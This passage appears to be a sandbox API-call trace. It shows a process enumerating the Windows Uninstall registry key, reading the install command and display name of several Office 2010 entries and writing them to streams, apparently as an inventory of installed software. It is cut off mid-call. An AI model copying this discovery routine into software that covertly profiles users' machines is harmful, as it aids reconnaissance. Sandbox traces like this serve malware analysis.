RegEnumKeyExA (in: hKey=0x104, dwIndex=0x23, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-001F-0409-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.231] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.231] lstrlenA (lpString="\\") returned 1 [0068.231] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.231] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.231] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.231] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.231] lstrlenA (lpString="{90140000-001F-0409-0000-0000000FF1CE}") returned 38 [0068.231] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.231] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.231] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-001F-0409-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0409-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0409-0000-0000000FF1CE}" [0068.231] LocalFree (hMem=0x626e60) returned 0x0 [0068.231] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.232] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.232] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.232] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.232] RegCloseKey (hKey=0x108) returned 0x0 [0068.232] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.232] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.232] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x26) returned 0x0 [0068.232] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x629248 [0068.232] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x629248, lpcbData=0x12ef0c*=0x26 | out: lpType=0x0, lpData=0x629248*=0x4d, lpcbData=0x12ef0c*=0x26) returned 0x0 [0068.232] RegCloseKey (hKey=0x108) returned 0x0 [0068.232] lstrlenA (lpString="{90140000-001F-0409-0000-0000000FF1CE}") returned 38 [0068.232] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.232] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x629248*=0x4d, cb=0x26, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x26) returned 0x0 [0068.232] LocalFree (hMem=0x629248) returned 0x0 [0068.232] LocalFree (hMem=0x626b70) returned 0x0 [0068.232] LocalFree (hMem=0x626a88) returned 0x0 [0068.232] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x24, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.232] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.232] lstrlenA (lpString="\\") returned 1 [0068.232] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.232] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.232] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.232] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.232] lstrlenA (lpString="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}") returned 94 [0068.232] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x62bdd0 [0068.232] lstrcpyA (in: lpString1=0x62bdd0, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.233] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}" [0068.233] LocalFree (hMem=0x626e60) returned 0x0 [0068.233] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.233] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.233] LocalAlloc (uFlags=0x40, uBytes=0x13b) returned 0x626a88 [0068.233] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626a88, lpcbData=0x12ef10*=0xba | out: lpType=0x0, lpData=0x626a88*=0x22, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.233] RegCloseKey (hKey=0x108) returned 0x0 [0068.233] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626a88*=0x22, cb=0xba, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0xba) returned 0x0 [0068.233] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.233] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626a88 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.233] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626bd0 [0068.233] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626bd0, lpcbData=0x12ef0c*=0x2b | out: lpType=0x0, lpData=0x626bd0*=0x4d, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.233] RegCloseKey (hKey=0x108) returned 0x0 [0068.233] lstrlenA (lpString="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}") returned 94 [0068.233] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x5e, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x5e) returned 0x0 [0068.233] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626bd0*=0x4d, cb=0x2b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2b) returned 0x0 [0068.233] LocalFree (hMem=0x626bd0) returned 0x0 [0068.233] LocalFree (hMem=0x626a88) returned 0x0 [0068.233] LocalFree (hMem=0x62bdd0) returned 0x0 [0068.233] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x25, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.234] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.234] lstrlenA (lpString="\\") returned 1 [0068.234] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.234] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.234] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.234] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.234] lstrlenA (lpString="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}") returned 95 [0068.234] LocalAlloc (uFlags=0x40, uBytes=0x114) returned 0x626a88 [0068.234] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.234] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}" [0068.234] LocalFree (hMem=0x626e60) returned 0x0 [0068.234] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.234] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.234] LocalAlloc (uFlags=0x40, uBytes=0x13b) returned 0x62cf98 [0068.234] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62cf98, lpcbData=0x12ef10*=0xba | out: lpType=0x0, lpData=0x62cf98*=0x22, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.234] RegCloseKey (hKey=0x108) returned 0x0 [0068.234] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62cf98*=0x22, cb=0xba, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0xba) returned 0x0 [0068.234] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.234] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62cf98 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.234] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626ba8 [0068.235] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626ba8, lpcbData=0x12ef0c*=0x2b | out: lpType=0x0, lpData=0x626ba8*=0x4d, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.235] RegCloseKey (hKey=0x108) returned 0x0 [0068.235] lstrlenA (lpString="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}") returned 95 [0068.235] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x5f, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x5f) returned 0x0 [0068.235] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626ba8*=0x4d, cb=0x2b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2b) returned 0x0 [0068.235] LocalFree (hMem=0x626ba8) returned 0x0 [0068.235] LocalFree (hMem=0x62cf98) returned 0x0 [0068.235] LocalFree (hMem=0x626a88) returned 0x0 [0068.235] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x26, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-001F-040C-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.235] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.235] lstrlenA (lpString="\\") returned 1 [0068.235] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.235] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.235] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.235] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.235] lstrlenA (lpString="{90140000-001F-040C-0000-0000000FF1CE}") returned 38 [0068.235] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.235] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.235] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-001F-040C-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-040C-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-040C-0000-0000000FF1CE}" [0068.235] LocalFree (hMem=0x626e60) returned 0x0 [0068.235] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-040C-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.235] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.235] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.235] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.235] RegCloseKey (hKey=0x108) returned 0x0 [0068.235] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.235] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-040C-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.236] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x25) returned 0x0 [0068.236] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x629248 [0068.236] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x629248, lpcbData=0x12ef0c*=0x25 | out: lpType=0x0, lpData=0x629248*=0x4d, lpcbData=0x12ef0c*=0x25) returned 0x0 [0068.236] RegCloseKey (hKey=0x108) returned 0x0 [0068.236] lstrlenA (lpString="{90140000-001F-040C-0000-0000000FF1CE}") returned 38 [0068.236] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.236] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x629248*=0x4d, cb=0x25, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x25) returned 0x0 [0068.236] LocalFree (hMem=0x629248) returned 0x0 [0068.236] LocalFree (hMem=0x626b70) returned 0x0 [0068.236] LocalFree (hMem=0x626a88) returned 0x0 [0068.236] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x27, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.236] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.236] lstrlenA (lpString="\\") returned 1 [0068.236] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.236] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.236] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.236] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.236] lstrlenA (lpString="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}") returned 94 [0068.236] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x626a88 [0068.236] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.236] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}" [0068.236] LocalFree (hMem=0x626e60) returned 0x0 [0068.236] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.236] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.236] LocalAlloc (uFlags=0x40, uBytes=0x13b) returned 0x62cf98 [0068.236] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62cf98, lpcbData=0x12ef10*=0xba | out: lpType=0x0, lpData=0x62cf98*=0x22, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.237] RegCloseKey (hKey=0x108) returned 0x0 [0068.237] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62cf98*=0x22, cb=0xba, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0xba) returned 0x0 [0068.237] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.237] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62cf98 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.237] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626ba8 [0068.237] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626ba8, lpcbData=0x12ef0c*=0x2b | out: lpType=0x0, lpData=0x626ba8*=0x4d, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.237] RegCloseKey (hKey=0x108) returned 0x0 [0068.237] lstrlenA (lpString="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}") returned 94 [0068.237] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x5e, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x5e) returned 0x0 [0068.237] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626ba8*=0x4d, cb=0x2b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2b) returned 0x0 [0068.237] LocalFree (hMem=0x626ba8) returned 0x0 [0068.237] LocalFree (hMem=0x62cf98) returned 0x0 [0068.237] LocalFree (hMem=0x626a88) returned 0x0 [0068.237] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x28, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.237] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.237] lstrlenA (lpString="\\") returned 1 [0068.237] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.237] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.237] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.237] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.237] lstrlenA (lpString="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}") returned 95 [0068.237] LocalAlloc (uFlags=0x40, uBytes=0x114) returned 0x626a88 [0068.237] lstrcpyA (in: lpString1=0x626a88, 